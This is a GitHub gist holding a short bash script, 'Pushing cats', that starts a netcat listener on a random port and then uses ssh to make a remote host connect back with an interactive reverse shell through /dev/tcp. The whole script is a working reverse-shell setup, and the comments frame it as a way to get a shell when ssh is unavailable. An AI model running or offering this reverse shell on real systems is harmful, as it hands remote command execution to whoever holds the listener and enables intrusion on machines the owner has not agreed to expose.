Skip to content

Instantly share code, notes, and snippets.

@nicerobot
Created March 18, 2012 18:15
Show Gist options
  • Save nicerobot/2079092 to your computer and use it in GitHub Desktop.
Save nicerobot/2079092 to your computer and use it in GitHub Desktop.
Pushing cats
#!/bin/bash
# Based on http://revision3.com/haktip/pushingcats
[ "${1}" ] || exit ${LINENO}
((PORT=RANDOM %2048 + 8192))
IP=$(/sbin/ifconfig | sed -n -e '/eth0/,/inet addr:/p' | tail -1 | awk -F '[: ]+' '{print $4}')
[ "${IP}" ] || exit ${LINENNO}
screen nc -l -n -vv ${PORT}
REMOTE="/bin/bash -i > /dev/tcp/${IP}/${PORT} 0<&1 2>&1"
echo ${REMOTE}
# Of course, if you have ssh, why do you need this? :P
# It's useful to understand how it works for when you don't have ssh.
ssh ${1} "/bin/bash -c '${REMOTE}'"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment